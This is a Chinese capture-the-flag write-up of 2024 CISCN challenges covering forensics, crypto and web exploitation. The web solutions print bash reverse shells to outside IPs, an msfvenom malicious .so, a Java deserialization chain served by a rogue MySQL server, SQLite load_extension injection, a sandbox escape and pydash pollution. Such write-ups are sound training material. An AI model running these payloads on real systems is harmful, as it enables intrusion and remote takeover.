2024 ciscn WP

一、MISC

1.火锅链观光打卡

打开后连接自己的钱包,然后点击开始游戏,答题八次后点击获取NFT,得到有flag的图片

没什么多说的,知识问答题

兑换 NFT

Flag{y0u_ar3_hotpot_K1ng}

2.Power Trajectory Diagram

方法1:
使用py中的numpypandas库读取npz文件并保存为csv文件,代码如下:
import numpy as np
import pandas as pd
np.set_printoptions(threshold=np.inf)
a1 = np.load('attachment.npz', allow_pickle=True)
print(a1.files)
print('read:', a1)
index = a1['index']
myin = a1['input']
myout = a1['output']
mytra = a1['trace']
# print(mytra.shape)
df = pd.DataFrame(mytra)
df.to_csv('data1.csv', index=False)
df1 = pd.DataFrame({'index':index, 'input': myin})
df1.to_csv('data2.csv', index=False)
得到data1.csv、data2.csv,合并得到data.csv。

打开data.csv,可以看到功耗数据,根据https://zhuanlan.zhihu.com/p/157585244,我认为该题的关键是在于找到与其它字符不同的字符,就是该index的正确密码。
基于此,利用Excel的折线图功能,例如第四个字符,如图所示:
在这里插入图片描述

可以看出,有一条绿色线与其它线都不同,为c,所以第四个字符就是c。

依次重复,得到整个密钥:_ciscn_2024_

即flag:flag{_ciscn_2024_}

方法2:
测试代码:
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
matplotlib.use('tkAgg')
data = np.load("./attachment.npz")
print(data.files)
aa = data[data.files[0]]
bb = data[data.files[1]]
cc = data[data.files[2]]
dd = data[data.files[3]]
print(len(aa), aa)
print(len(bb), bb)
print(len(cc), cc)
print(len(dd), dd)
 
for i in range(len(dd)):
    plt.scatter([i for i in range(len(dd[i]))], dd[i])
    plt.show()
从 npz 文件中提取到四个文件的值,output 为空,其他 3 个文件提取的数组长度都是 520,根据   index 每 40 个可得出一个明文,大致判断共有 13 个明文。
input是一个表
output 为空
trace 里的数据都是小数
尝试对 trace 里的数据画点图:
发现每组数据的最大值有很多点,最小值的点只有几个,所以我们尝试找出trace每组数据的最小值的下标:

import numpy as np
data = np.load("./attachment.npz")
dd = data[data.files[3]]
 
for i in range(len(dd)):
    min_index = np.argmin(dd[i])
    print(f"Minimum index for group {i}: {min_index}")
除了最后一组数据全为 985,其余数据中都有其他不同的数字
用每四十组数据的最小值的下标再画一次图分析,发现最大值只有一个,所以我们需要继续找最大值的下标,然后再从input表中获取对应的字符即可:
exp:

import numpy as np
import matplotlib.pyplot as plt
 
f = np.load('./attachment.npz')
index = f['index']
ip = f['input']
tr = f['trace']
 
flag = ""
for _ in range(13):
    t = []
    table = ip[40*_:40*(_+1)]
    for i in range(40):
        # 每个列表画一个散点图,发现最小值
        # plt.scatter([i for i in range(len(tr[_*40+i]))], tr[_*40+i])
        # plt.show()
 
        # 获取该列表的最小值的下标
        min = np.argmin(tr[_*40+i])
 
        # 将最小值的下标插入新列表
        t.append(min)
 
    # 用 40 个列表的最小值的下标作为数据,画图,发现有最大值
    for i in range(len(t)):
        plt.scatter([i for i in range(len(t))], np.array(t))
        plt.show()
 
    # 求最大值的下标
    mins = np.argmax(t)
 
    # 用下标从表里取字符
    ind = table[mins]
    # 把字符加到flag里
    flag += ind
print(flag)


得到:_ciscn_2024_a
由于前面最后一组数据全是 985,因此最后一组数据得出的 a 不算
去掉 a 得到最终flag为:flag{_ciscn_2024_}

3.神秘的文件

方法1:
究极套娃,看的眼睛都要花了,真就纯找。得到PPT文件,直接改后缀为.zip去找
part1
在docProps目录下的两个xml中,app.xml提示了解密算法,core.xml提示了密文和密钥key,直接上赛博
image
image
part2
在ppt/embeddings文件夹下的docx中,从PPT打开的话就是第二章左上角那块黑色的,双击就行,打开后全选,改字体大小,改颜色,凯撒偏移量10解密,然后base64解密,得到part2

image
image
part3
在vbaProject.bin中,这个真的找了好久,后来也是网上搜得到说ppt隐写可能跟宏和宏脚本有关系,叫VBA工程解密。先010打开vbaProject.bin,找DPB字节,把最后一位改成x,然后保存,之后改后缀为.zip,直接打开会发现其中内涵的文件,打开VBA文件夹下的模块一
image
发现一段密文,不知道是啥但是提示是base64之后的,那就先解密呗,然后得到乱码,一般这种特殊字符多的不是RC4就是rot,最后发现是无密码RC4解密,然后再解一层base64
image
part4
直接打开PPT(因为它是由media文件夹下的图片拼成的),第三张,好像是要选可见隐藏字符,因为我电脑自动默认选的所以直接可以看,base64解码
image
part5
是在第五章ppt的注释中,直接赛博厨师帽跑,多层base64解码,得到第五部分
image
part6
是在第五张PPT正文边界的左上角,把它界面缩放或者直接拆media文件夹都可以,base64解码
image
part7
是在ppt\slides下的slides4.xml中,id4的位置,下面提示rot13 all,暗示包括number,base64解码
image

part8
在slideLayout2.xml中,南平,最开始没理解最后是啥意思,连一起了才看懂。。。。,就是要除去上面字符串中的Bb13。。。然后base64解码
image
image
part9
直接在media文件夹下,看那个猫人的图片左下角,base64解码
image

part10
在comment1.xml中,维吉尼亚解码,密钥是furry
image

总之最后flag是flag{e675efb3-346f-405f-90dd-222b387edee9} 
方法2:
先是一些简单容易找到的,按照提示规则进行 base64、维吉尼亚、凯撒等解码即可
PPT 里面找到了很多东西:
改zip后缀,在 world 文档里有发现:
图片:
总共可以得到:
part2:675efb
Payt4:6f-40
pArt5:5f-90d
ParT6:d-2
parT9:deH
PARt10:9}
下面的一些就需要更加仔细了:
在压缩包里找到了二进制文件
i13POMdzEAzHfy4dGS+vUA==
这里是 base64+RC4+base64
得到 PArt3:3-34
ppt 文件属性:
密文:QFCfpPQ6ZymuM3gq
加密方式:bifld 
Key:lanjing;
得到Part1:flag{e
ppt母版:
去掉Bb13后解 base64
得到 paRt8:87e
选择窗格:
Rot13+base64
得到PART7=22b3
拼接得到最终 flag:
flag{e675efb3-346f-405f-90dd-222b387edee9}

4.大学生安全测试能力调研问卷

填问卷

5.通风机

方法1:
得到mwp文件,010打开补全前三位文件头,使用V4.0 STEP 7 MicroWIN SP9打开,每个地方都看看,之前没见过,最后在符号表中找到flag
image
base64解码后得到flag
image
方法2:
使用binwalk可以分离出一个zlib文件,使用python解压,代码如下:
import zlib

def decompress_zlib_file(input_filename, output_filename):
    with open(input_filename, 'rb') as compressed_file:
        compressed_data = compressed_file.read()
        decompressed_data = zlib.decompress(compressed_data)

    with open(output_filename, 'wb') as output_file:
        output_file.write(decompressed_data)

# Example usage
input_file = '35.zlib'
output_file = 'decompressed_data.txt'
decompress_zlib_file(input_file, output_file)
用Winhex 打开 decompressed_data.txt,可以看到经过base64编码后的flag。
在这里插入图片描述
解码得到flag:
在这里插入图片描述

6.盗版软件

两个文件

第一个dmp改后缀为data,用gimp2调一下参数得到域名

winhack.com

之后找ip,微步找释放文件

dump下来,loader没啥用,看output.png

发现有个zip,提取出来


发现是base85,解密之后,觉得是shellcode,改后缀为bin放微步跑得到ip


winhack.com39.100.72.235






7.DNS

发现域名很多二进制,提取出来转二维码,CQR扫一下

得到一段密码

之后继续看

发现有两种流

dns.id==0x6421
dns.id==0x4500

分别提取,一个得到压缩包,压缩包用二维码得到的解密

另一个得到乱码,file一下发现压缩包得到是pgp

不知道key,看题目描述,经过尝试发现rev+hex+rev可以成功import

之后把乱码文件处理一下,decrypt


二、WEB

1.Simple_php

题目描述:小明在学习CTF的过程中遇到了一道PHP的题目,以他有限的水平做不出来,可以帮帮他吗?
直接给了源码
image-20240518112723996


paste或者rev可以读文件
发现一个异常情况,具有mysql用户,或许可以从这里入手
image-20240518112905906
看出mysql服务开启
cmd=mysql --version
image-20240518115837118
ps -aux命令执行结果可以确认靶机有mysql服务
同时根目录下没有flag
BURP发包
cmd=l%0as /
image-20240518113950815
为了命令执行不受限,反弹shell。这里有一个小细节就是弹shell前的不可见字符是为了hex2bin函数能够成功执行。因为ban了引号,变量类型自动判断,如果十六进制开头是数字那么我设置的变量$a会被判断为数字,从而报错无法执行。
cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));
image-20240518134618734
mysql -uroot -proot -e "show databases;"
mysql -uroot -proot -e "use PHP_CMS;show tables;"
mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"
image-20240518134518410

2.easycms

题目描述:简单的cms,可以扫扫看?
hint:
提示1: /flag.php: 
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
   echo "Just input 'cmd' From 127.0.0.1";
   return;
}else{
   system($_GET['cmd']);
}
提示2:github找一下源码?
敏感目录:
/flag.php
/install.php
/Readme.txt
/Readme.txt是乱码,在线恢复一下
image-20240518134956796
迅睿CMS官方下载地址:https://www.xunruicms.com/down/
#### 安装路径
将网站运行目录(主目录)设置为:public(如果没有就忽略设置�?
安装环境监测�?/test.php
程序安装地址�?/install.php
后台登录地址�?/admin****.php�?****是随机的�?
重置后台地址:https://www.xunruicms.com/doc/1097.html
首次使用方法:https://www.xunruicms.com/doc/631.html
#### 运行环境
Laravel内核:PHP8.0及以�?
ThinkPHP内核:PHP7.4及以�?
CodeIgniter内核:PHP7.4及以�?
CodeIgniter72内核:PHP7.2及以�?
MySQL数据库:MySQL5及以上,推荐5.7及以�?
#### 内核切换方法
https://www.xunruicms.com/doc/1246.html
无法重新安装
image-20240518140745852
hint的源码告诉我们flag.php存在ssrf,可以直接getshell。源码在github上。GitHub - dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架构,基于MIT开源协议发布,免费且不限制商业使用,允许开发者自由修改前后台界面中的版权信息。
信息搜集,存在一个已知的ssrf迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表 (xunruicms.com)
image-20240518201503234


定位到源码路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php的qrcode函数
thumb参数可控
image-20240519182749703
定位xunruicms-master\dayrui\Fcms\Core\Helper.php
dr_catcher_data函数存在SSRF
image-20240519182910561
302.php,拿不到回显所以只能反弹shell
<?php
    //header("HTTP/1.1 302 found"); 
    //header("Location:http://127.0.0.1:1337/flag");
    //header("Location:file:///etc/passwd");
    header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");
    exit();
?>
payload:
/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php


image-20240518164531870

3.easycms_revenge

和上题一样,改一下302.php的内容
GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");?>
</html>

这里注意细节,靶机发了两次请求,第一次我们就返回一个正常的图片,第二次请求就发一个302,php代码块要用html标签包裹


4.ezjava

/app/BOOT-INF/lib下删了jackson,不然就能直接打POJONode

依赖里有AspectJWeaver,打任意文件写入
https://blog.csdn.net/uuzeray/article/details/136595841

后续还可以配合sqlite加载恶意so文件
https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/SQLite/index.md
然后AJ链子的入口要调用map.put
自定义类UserBean#readObject就可以配合利用

 最终思路就是先mysql打入恶意反序列化数据写入so文件,再sqlite加载恶意so文件


生成恶意so文件
msfvenom -p linux/x64/exec CMD='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi|base64 -d|bash' -f elf-so -o evil.so

 将生成的恶意序列化数据写入output.ser

package com.example.jdbctest.exp;
 
import com.example.jdbctest.bean.UserBean;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
 
public class EXP {
    // 获取指定类的第一个构造函数,并设置为可访问
    public static Constructor<?> getCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }
 
    // 创建一个UserBean对象,将evil.so的内容Base64编码后存入UserBean中
    public static Object getObject() throws Exception {
        String filename = "../../../../../../../../../../../../tmp/evil.so"; // 路径指向/tmp/evil.so
        Path filePath = Paths.get("C:\\Users\\21135\\Desktop\\ciscnjava\\src\\main\\java\\com\\example\\jdbctest\\exp\\evil.so"); // 假设evil.so位于当前目录
        byte[] fileBytes = Files.readAllBytes(filePath); // 读取文件字节
        String content = Base64.getEncoder().encodeToString(fileBytes); // 将文件内容Base64编码
        UserBean bean = new UserBean(filename, content); // 创建UserBean实例
        Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12); // 实例化一个SimpleCache对象
        bean.setObj(simpleCache); // 将SimpleCache对象设置为UserBean的obj属性
        return bean;
    }
 
    // 序列化一个对象到字节数组
    public static byte[] serialize(Object object) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        oos.close();
        return baos.toByteArray();
    }
 
    // 主函数,序列化对象并将其写入文件
    public static void main(String[] args) throws Exception {
        byte[] serialized = serialize(getObject()); // 序列化对象
        String fileName = "output.ser"; // 输出文件名
 
        // 使用FileOutputStream将字节数据写入文件
        FileOutputStream fos = new FileOutputStream(fileName);
        fos.write(serialized);
        fos.close(); // 关闭文件输出流
    }
}

起一个恶意mysql服务,回包为恶意序列化数据

import socket
import binascii
import os
 
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
 
def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()
 
def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))
 
def get_payload_content():
    file= r'output.ser'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")
 
    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content
 
# 主要逻辑
def run():
 
    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))
 
        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)
 
        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)
 
            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                # //获取payload
                payload_content=get_payload_content()
                # //计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # //计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break
 

 先利用mysql打AJ链子,写入恶意so文件

{
"type":"1",
"url":"jdbc:mysql://124.222.136.33:3309/a?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
 }


再打sqlite,指定tableName,加载写入的恶意so文件,反弹shell

{
"type":"3",
"tableName":"(select (load_extension(\"/tmp/evil.so\")));",
 "url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"
 }
 

根目录下拿到flag


5.mossfern

考的python栈帧沙箱逃逸,获取到外部的栈帧,就可以用f_globals去获取沙箱外的全局变量
https://xz.aliyun.com/t/13635
https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

最后注意要将获取的变量元组转字符串,再用逗号分隔,依次输出,从而绕过seed



def getflag():
    def f():
        yield g.gi_frame.f_back
 
    g = f()
    frame=[x for x in g][0]
    gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']
 
    code = frame.f_back.f_back.f_back.f_code
 
    dir = gattr.dir
    str = gattr.str
    print(dir(code))
 
    for i in str(code.co_consts):
        print(i,end=",")
 
getflag()

6.sanic

sanic 是一个类似flask的web框架
扫目录


访问./src

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
 
 
class Pollute:
    def __init__(self):
        pass
 
 
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
 
 
@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())
 
 
@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")
 
    return text("login fail")
 
 
@app.route("/src")
async def src(request):
    return text(open(__file__).read())
 
 
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")
 
    return text("forbidden")
 
 
if __name__ == '__main__':
    app.run(host='0.0.0.0')

 sanic可以通过用八进制adm\073n绕过cookie

COOKIE_NAME_RESERVED_CHARS = re.compile(
    '[\x00-\x1F\x7F-\xFF()<>@,;:\\\\"/[\\]?={} \x09]'
)
OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")
QUOTE_PATTERN = re.compile(r"[\\].")

 在绕过admin后可以打pydash原型链污染,waf掉了_.



 pydash有这样一段处理

def to_path_tokens(value):
    """Parse `value` into :class:`PathToken` objects."""
    if pyd.is_string(value) and ("." in value or "[" in value):
        # Since we can't tell whether a bare number is supposed to be dict key or a list index, we
        # support a special syntax where any string-integer surrounded by brackets is treated as a
        # list index and converted to an integer.
        keys = [
            PathToken(int(key[1:-1]), default_factory=list)
            if RE_PATH_LIST_INDEX.match(key)
            else PathToken(unescape_path_key(key), default_factory=dict)
            for key in filter(None, RE_PATH_KEY_DELIM.split(value))
        ]
    elif pyd.is_string(value) or pyd.is_number(value):
        keys = [PathToken(value, default_factory=dict)]
    elif value is UNSET:
        keys = []
    else:
        keys = value
 
    return keys
 
 
def unescape_path_key(key):
    """Unescape path key."""
    key = key.replace(r"\\", "\\")
    key = key.replace(r"\.", r".")
    return key

这段代码主要包含了两个函数,to_path_tokens 和 unescape_path_key,用于解析和处理数据结构路径的表达式。这些函数可能是用于操作如 JSON 或嵌套字典这样的复杂数据结构。下面是对这两个函数的总结:

1. to_path_tokens 函数

目的:将输入的 value 转换为 PathToken 对象的列表,这些对象表示数据结构中的路径点。
处理逻辑:
对字符串形式的路径进行分解,处理点(.)和方括号([)来区分不同的路径段。
根据路径段的内容,区分处理为列表索引或字典键。
对特定字符串进行类型转换(如字符串形式的数字转为整数索引)。
使用正则表达式帮助分割和识别路径中的关键部分。
2. unescape_path_key 函数

目的:处理路径键中的转义字符,将转义序列转换为对应的实际字符。
实现细节:
替换路径键中的双反斜杠 (\\) 为单反斜杠 (\)。
替换路径键中的转义点 (\.) 为点 (.)。
给出脚本:

import requests
 
url = 'http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show'
 
s = requests.Session()
 
s.cookies.update({
    'user': '"adm\\073n"'
})
 
s.get(url + '/login')
 
# 开启目录浏览
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}
 
# 污染目录路径
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}
 
# r = s.post(url + '/admin', json=data)
# print(r.text)
 
# 获取flag路径
# r = s.get(url + '/static/')
# print(r.text)
 
 
#污染__file__,读取flag
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}
# r = s.post(url + '/admin', json=data)
# print(r.text)
# print(s.get(url + '/src').text)

三、Crypto

1、OvO

题目描述
from Crypto.Util.number import *
from secret import flag

nbits = 512
p = getPrime(nbits)
q = getPrime(nbits)
n = p * q
phi = (p-1) * (q-1)
while True:
    kk = getPrime(128)
    rr = kk + 2
    e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
    if gcd(e, phi) == 1:
        break
m = bytes_to_long(flag)
c = pow(m, e, n)

e = e >> 200 << 200
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

"""
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
"""

给的 e 其实就是 d,只是结果是移位后的输出,n 很大无法分解,但 kk 与 rr 很小,由 rr= e//n 即可推出 rr 和 kk,又由 e + x + kk*p + rr*((p+1)* (q+1))+ 1 = 65537,将 × 设为 0 和 2^200 然后联立求解一元二次方程,就能求出 p, q 的上下界,这样就有p 和q 的高位,枚举未知位尝试coppersmith 直到分解出结果,最后代入求 e 和 d,进而求得flag。

cop 攻击,exp:

# SageMath script to factor n and decrypt the message
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
 
def partial_p(p0, n, bits):
    PR.<x> = PolynomialRing(Zmod(n))
    f = p0 + x
    f = f.monic()
    roots = f.small_roots(X=2^(bits+5), beta=0.3)
    
    if roots:
        x0 = roots[0]
        p = gcd(p0 + x0, n)
        return ZZ(p)
 
def find_p(eh, n, bits):
    RR = RealField(1000)
    PR.<x> = PolynomialRing(RR)
    f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x
    results = f.roots()
    
    if results:
        for x in results:
            p_high = int(x[0]) >> 4 << 4
            p = partial_p(p_high, n, bits)
            if p and p != 1:
                return p
# Calculating rr and kk based on given e and n
rr = e // n
kk = rr - 2
# Finding p
p = find_p(e, n, 200)
if p:
    q = n // p
    phi_n = (p - 1) * (q - 1)
    # Computing the new e based on kk and rr
    new_e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1
    
    # Computing the private key d
    d = inverse_mod(new_e, phi_n)
    # Decrypting the ciphertext
    m = power_mod(c, d, n)
    print(bytes.fromhex(hex(m)[2:]))
else:
print("Failed to find p.")

拿到 flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}

2、古典密码

密文:AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9
三层解密:埃特巴什+base64+栅栏


